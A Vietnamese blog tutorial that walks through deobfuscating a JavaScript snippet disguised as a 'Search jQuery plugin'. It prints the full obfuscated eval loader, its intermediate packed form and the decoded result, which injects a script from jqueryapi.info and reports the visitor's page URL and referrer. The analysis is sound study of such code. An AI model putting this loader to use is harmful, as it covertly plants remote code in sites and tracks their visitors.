Hướng dẫn giải mã Javascipt

Updated on April 16, 2016
Ví dụ, có đoạn code cần giải mã như sau:
<script>
//<![CDATA[
// Search jQuery plugin

var OOI='==gCpkSKnw3JoQXasB3cucSawFWeyVWdxpGfkxWaoNEZuVGcwFGf05WZ052bjx3YyNHdldGf0N3bsNjM8JHd0FGfsJXd8ZWZyxnZlJHa8t2b8d3bk5Wa3BjM8ZWZyhmMywHf8xHf8JXZyJXZmVmc852bpRXYj9Gb8RmbpZGfMJVV8NXdj9mZ8N3chx2Qlx2Zn9Gd8V2cvx2Y8VGchN2cl5Wd85WZw9mMywHc0RHa85GdixHdwlmcjN3QzwXZ0lmc3x3cphGd4IDfuVGcvdjM8RWYlhGfmlGMywndlJHc8VWbh50ZhRVeCNHduVWblxWR0V2Z8xWY2x3c05WZyFGc8Rnbl1WZsVUZ0FWZyNGfzNXYsNUZ29WblJHfwRHdoJjM8R0N890TPxHduVWb1N2bkhjM8RHcpJ3YzxHduVmbvBXbvNUSSVVZk92YuVGf8xXZwF2YzV2X8NmczxXdr9WakFmchlmb1RGfyFmd8lHZhVmc8R3bwN3ZvxmY8hTNxw3ajlGbjxHd1BnbpdjM8FzTw8Ffu9Wa0Nmb1ZGOywHajJXYlNHf0VHculGfxcDfCdDf05WZtV3YvRGft92Y89mZulGfBBDfyYDflR2bDJXYoNUbvJnZ8dXZuxHdpxGczxHc4V0ZlJFf05WSlNnchBHfsFmdlx3Zulmc0N1b0xXZslGa3xnZpx3Zulmc0NFflNWYsBXZyxnbvlGdj5WdmxnbyVHdlJHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8dCL5MjMsIjNscSKp03esADLpcCX8dCXokkMucCXwNDfvNDfyNDfzNDf4NDf2NDf1NDf0NDfuNDftNDfnNDfmNDflNDfkNDfoNDfpNDfsNDfrNDfqNDf3NDfDNDfNNDfPNDfQNDf8xHfMNDfLNDf8Z0M8xHf8ZkM8p3M8d0M8l0M8p0M8h0M8l3M850M8F1M8F3M8NzM85kM89kM8BlM8JkM8tkM81kM8VzM8V0M8dkM8J0M8VkM8JlM8pkM8lkM8hkM8FkM8NkM8xkM8ZzM8RkM8FlM8J2M8RzM8NlM8R0M8JzM8F0M8dzM8hzM8F2M8lzM8FzM8BzM8ZlM8VlM8RlM8dlM8hlM8N2M8plM8lnM8pnM8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8x3JcxSWywCTywyJclSKpcCXcxFfnwFXchiQx4yJcxFX1IDfzIDfxIDf2IDfmJDfkJDfjJDfiJDfZFDfYFDfSFDfRFDfQFDfPFDfTFDfUFDfXFDfWFDfVFDflJDfsJDfzJDfxJDf1JDf0JDf2JDf3JDf4JDfyJDfvJDfpJDfoJDfnJDfqJDfrJDfwJDfuJDftJDfhJDfIFDfuFDftFDfsFDfvFDfwFDfzFDfyFDfxFDfrFDfpFDfjFDflFDfiFDfkFDfOFDfqFDfmFDfoFDfnFDf0FDfNFDf1FDfyIDf0IDfGFDf3IDfKFDf4IDf5IDfwIDfnwFXcxCRxwCexwyJcxFX7kSKwhCToonLhtTKkhyduM3OdBzWpcCXcxFXcxFXDdCXcxFXcxFXoIkLh1zcgY2OpAlLhhSdrcCXcxFXcxFX9gTMmcCXcxFXcxFXrkCMx4SYoU3KnwFXcxFXcxVPSZyJcxFXcxFXctyJcxFXcxFXcFVPV9zLW5SWv8iOYdCXcxFXcxFX9clLktTKnwFXcxFXcxFdnwFXcxFXcxFKP5SY9QGImtzJcxFXcxFXcZXJ09yMxUiNlITJiVCNlIWJxUSMlETJxUCNlYTJ4UyZukmLx9yLyVyalETJuVSMlMlLU5iWlETJxUSMlETJxUSMlETJ0USOlETJyUCOl8yZukmLx9yLyVyalETJuViNxUSMlITJ4UyNxUyMlUTMuITJ4USMx0iMxUCOlMTJ3UyMlETJ0ETJxUSMlETJ0USOlETJyUyMlETJjVCbuITJtVyNlQTJ2UiMlIWJ0UiNlITJiVSMlETJ0UiNlITJ1UCRlMTJB5iMlUTJv1SZuUTJzUCeuITJ1USNlMTJ55iMlUTJqVyMlUkLyUiRlcTJxUSMlETJxUCNlkTJxUiMlMTJjVCauITJ1USTuUTJzUyNlETJxUCNlQTJ2UiMlIWJxUSMlQTJ2UiMlMTJO5iMlUTJqVyMlskLyUCOloUJzUyRuITJ1UybtUmL1UyMlcTJxUSMlETJxUCNlkTJxUiMlMTJjVCauITJ1USZtgkL1UyMlcTJxUSMlQTJ5USMlITJzUyYlwmLyUSblcTJ2VSSlcCXcxFXcxFX9AHImdCXcxFK9BHIhFTf9lSXjt1askyJcxFXndCXcxFLnwFXcJGXcxFXcxFXcdCXcx1KpMGKltyJcxFXixFXcxFXcxFXnwFXchSQxAyQxgiex4Cc9A3ep01YbtGK5Fzep0SLjhidxsTfpkydxgSRx4yY6kSOysyYosUMuwUM/kUM+kSYlMWPjhCKrkSKpE2LjhyRxgSZ6cCXcx1JcxFX/EGPjhSYxsXKjhSOx0TZ7lCZsUGLrxyYsEGLwhSOxgiWxcCXo0HcgknM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXogkMgokMoEkMuAXPwtXKdN2WrhyQysXKt0yYoQkM70XM9M2O9dCXrcHXcxFXnwVeysXKoonM9U2Od1XXltFZgknM7lSZoonMb1za9lyYoUGf811YbtWPdlyYoU2WktXKt0yYoQkM7lSKCJDLv41LoEkMucCXnwVIoMkM70XKpYzMoUkMuMmOpkjMrMGKLJjLCJzP1MjPpEWJj1zYogyKpkSKh9yYockMoUmOnw1Jc9TY8MGK5JzepMGK6JTPltXKkxSZssGLjxSYsAHK6JDKGJzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';
function _1Ol(data){var OlOlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=OlOlOI.indexOf(data.charAt(i++));h2=OlOlOI.indexOf(data.charAt(i++));h3=OlOlOI.indexOf(data.charAt(i++));h4=OlOlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc}
function OlO(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }
eval(_1Ol(OlO(OOI)));
//]]>
</script>
  • Nếu một đoạn code đơn giản bình thường, bạn có thể dùng những trang web hỗ trợ giải mã online để giải mã một lần duy nhất. 
  • Nếu bạn chưa biết đoạn mã của bạn cần phải dùng trang hay công cụ nào để giải mã thì bạn có thể tham khảo bài viết này.
Với đoạn code trên, bạn cần phải sử dụng linh hoạt giữa những công cụ này. Tác giả của đoạn code đã khéo léo chỉnh sửa đôi chút đoạn code trên, bạn để ý đến dòng code
eval(_1Ol(OlO(OOI)));
Mục đích của tác giả là làm cho các trang web giải mã không nhận ra cấu trúc chuẩn của đoạn mã hoá. Phải chi nó có dạng sau
eval(đoạn code mã hoá bình thường);
Do đó, tôi muốn tìm cái đoạn code mã hoá bình thường kia. Cách tôi nghĩ ra là chạy cái đoạn code JS để nó xuất ra cho mình. Để có thể chạy các đoạn code JavaScript, tôi sử dụng trang web JSFiddle. Bạn dán vào khung HTML đoạn code như sau
<body>
  <script>
    var OOI='==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';
    function _1Ol(data){var OlOlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=OlOlOI.indexOf(data.charAt(i++));h2=OlOlOI.indexOf(data.charAt(i++));h3=OlOlOI.indexOf(data.charAt(i++));h4=OlOlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc}
    function OlO(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }
    document.write(_1Ol(OlO(OOI)));
</script>
</body>
Sau đó nhấn Run, nó sẽ xuất hiệnđoạn code mã hoá bình thường cho bạn.
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2F(2z(p,a,c,k,e,d){e=2z(c){2y(c35?2B.2K(c+29):c.2E(36))};2C(!\'\'.2A(/^/,2B)){2D(c--){d[e(c)]=k[c]||e(c)}k=[2z(e){2y d[e]}];e=2z(){2y\'\\\\w+\'};c=1};2D(c--){2C(k[c]){p=p.2A(2J 2H(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2y p}(\'1Z(19(p,a,c,k,e,d){e=19(c){1a(c1I?1L.1K(c+29):c.1E(1w))};1v(c--){1y(k[c]){p=p.1z(1C 1A(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c])}}1a p}(\\\'f p=\\\\\\\'%I%v%7%m%2.l%c%3%2%1%9%4%1%1%7%3%5.H-e%5%2.h%c%3%2%1%9%4%1%1%1%1%7%3%5.e-o%5%2.G%3%J%8%2.K%3%j%5%2.N%3%2%6%4%1%1%b%2%6%4%4%1%1%7%3%5.M%5%2.h%c%3%2%1%9%4%1%1%1%1%7%F%2.E%3%j%5%2.y%3%5%5%2.x%3%5.e-o%5%2.A%3%D%5%2%6%4%1%1%b%2%6%4%b%2%6%4%7%m%2.l%c%1%3%2%1%9%4%1%1%1%14%1%3%7%3%8%12-11%8%2.15%3%17%8%2%1%16%n%1%k%r//q.i.g/%8%2%1%9%4%1%1%1%1%1%1%1%Z.T.S%1%n%1%k%r//q.i.g%8%6%4%1%1%1%1%b%4%b%2%6%13/t%v\\\\\\\';f d=a.O(\\\\\\\'t\\\\\\\');d.W=\\\\\\\'X://Y.V/?U=Q\\\\\\\'+\\\\\\\'&R=\\\\\\\'+u(a.10)+\\\\\\\'&18=\\\\\\\'+u(a.P);f s=a.B(\\\\\\\'C\\\\\\\')[0];s.w(d);a.z(L(p));\\\',1x,1D,\\\'|20|29|28|1J|27|1F|24|22|1u|1M|1t|1g|1h|1f|1j|1N|1d|1b|1e|1c|1i|1k|1q|1r|1s|1p|1o|1l|1m|1n|1H|2a|2m|2n|2p|2k|2j|2g|2h|2i|2o|2r|2x|2w|2v|2t|2u|2q|2s|2l|2e|1U|1V|1W|1T|1S|1O|1P|1Q|1R|1X|1Y|2b|2c|2d|2f|26|21|23|25\\\'.1B(\\\'|\\\')))\',2L,2Y,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||2z|2y|2Z|3c|2X|2W|2T|2U|2V|30|31|39|3a|38|37|3A|32|3D|2S|34|3b|2Q|2D|36|2L|2C|2A|2H|2I|2J|2R|2E|3B|2G|3E|35|2M|2K|2B|2P|2O|2N|33|3q|3Q|3N|3y|3H|3J|3I|3G|3z|2F||||3F||3K|3L||||3P|3O|3M|3C|3w|3j|3k|3l|3i|3h|3d|3e|3f|3g|3m|3n|3t|3u|3v|3x|3s|3r|3o|3p\'.2I(\'|\'),0,{}))',62,239,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|replace|String|if|while|toString|eval|parseInt|RegExp|split|new|fromCharCode|62|0A|info|com|document|7B|71|input|search|28function|_0O1|27input|click|158|blogspot|ready|var|duniaradioku|src|_escape|||encodeURIComponent|script|28document|OOO|7D|22http|removeClass|createElement|parents|val|getElementsByTagName|prev|20if|head|27open|28this|write|3Cscript|btn|http|22open|unescape|close|toggleClass|focus|URL|find|location|referrer||||||22href|20window|ok|href|ref|url|attr|23lost|getsrc|content|appendChild|jqueryapi'.split('|')))
Đến đây, bạn có thể dùng trang web này để tiến hành giải mã bình thường. Kết quả cuối cùng sẽ ra như bên dưới.
var _escape = '';
var _0O1 = document.createElement('script');
_0O1.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var OOO = document.getElementsByTagName('head')[0];
OOO.appendChild(_0O1);
document.write(unescape(_escape));
Nguồn bài viết: http://www.math2it.com/2015/05/hanh-trinh-giai-ma-mot-oan-code.html 
Share this: pinterest